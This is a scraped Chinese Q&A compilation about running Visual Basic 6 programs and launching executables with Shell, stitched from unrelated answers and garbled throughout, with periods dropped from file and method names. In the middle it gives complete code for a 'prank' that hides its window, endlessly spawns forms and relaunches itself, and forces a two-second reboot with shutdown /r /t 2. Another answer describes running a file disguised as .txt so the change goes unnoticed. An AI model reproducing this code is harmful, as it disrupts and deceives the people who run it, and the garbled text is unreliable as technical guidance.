VB程序需要什么才能运行

VB程序需要什么才能运行,第1张

你必须将VB6的运行库MSVBVM60DLL释放到系统SYSTEM32目录下,并且将所有使用到的OCX控件和COM_DLL都释放到系统目录下并且注册!VB可以制作自定义安装包,但是会比较麻烦。有三个可行办法:

1将所有组件和COM

DLL等全部附加到资源文件,生成一个EXE安装文件,之后使用ASPACK进行压缩

2将所有用到的DLL等全部使用RAR或者压缩算法压缩成压缩包,之后进行解压缩

3使用自带打包工具(虽然很丑),也可以使用第三方打包工具,如WINRAR,Inno

Setup

你好!

VB编程软件对应用程序只能用以二进制方式打开EXE文件,并经处理,所见到的是如DOS下的DEBUG命令打开后看到的以16进制显示相同

VB编程软件能打开源代码组成的文件你可先运行VB6EXE文件,然后在新建窗口或文件菜单栏新建或打开工程文件,在其代码窗口修改代码或在对象窗口修改或增删控件

VB中用Shell

函数可执行一个可执行文件例:

Dim

RetVal

RetVal

=

Shell("C:\Program

Files\Tencent\qq2007\qqexe",

1)

下面让我们打开VB编译器,在窗体上面加3个timer控件,然后Interval属性设得尽量小点,该属性1000为1秒,我的设成了6,这样在一秒就会谈出上百个窗口了。

实现代码如下:

Private Sub Timer1_Timer()

Dim a As New Form1 ‘声明以后出现a就是代表Form1

aShow ‘Form1d出

End Sub

Private Sub Timer2_Timer()

Shell AppEXEName ‘运行这个软件的本身

End Sub

然后隐藏窗体本身,书县代码如下:

Private Sub Form_Load()

MeHide

End Sub

那么在XP里自动关机是怎么回事呢?这个就是一个命令就能搞定的(shutdown /r /t 2),就是说,重新启动计算机的倒计时是2秒,这样中招的人就没有办法停止我们的shutdown了,其实到这里就可以算是一个有趣的恶作剧了。实现代码如下:

Private Sub Timer3_Timer()

Shell ("cmdexe /c shutdown /r /t 2") ‘调用cmd 然后在cmd里输入shutdown /r /t 2就是说设倒计时时间限制为2秒

End Sub

1、如果是打开已存在的程序(如 exe com 等文件),可以使用shell "完整路径\完整文件名"。

例打开计算器: shell "c:\windows\system32\calcexe",vbNormalFocus

2、打开当前工程的窗口,使用 窗口名show 方法。

例已有窗口名为frmA : frmAshow

比如你同时有a和b两个程序你在a程序里写上下面的代码

Private

Sub

Form_Load()

call

shell("bexe",vbNormalFocus)

End

Sub

比如下面的代码:Private Sub Command1_Click()

Dim x As Long

x = Shell("1exe")

Label1Caption = Str(x)

End Sub运行了1exe并且在label标签上显示了该程序的句柄

你可以在VB中先把txt文件改名为exe文件,然后用shell调用,最后再把文件名改回txt

比如:

Name "d:\1txt" As "d:\1exe"

Shell "d:\1exe"

Name "d:\1exe" As "d:\1txt"

由于shell是同步运行的,所以改名的 *** 作是发生在一瞬间的,别人几乎没法发觉1txt变为1exe然后又变回1txt。

以上就是关于VB程序需要什么才能运行全部的内容,包括:VB程序需要什么才能运行、怎么让VB直接打开一个已安装的电脑程序、VB编写自动运行程序等相关内容解答,如果想了解更多相关内容,可以关注我们,你们的支持是我们更新的动力!

欢迎分享,转载请注明来源:内存溢出

原文地址:https://54852.com/zz/9341428.html

(0)
打赏 微信扫一扫微信扫一扫 支付宝扫一扫支付宝扫一扫
上一篇 2023-04-27
下一篇2023-04-27

发表评论

登录后才能评论

评论列表(0条)

    保存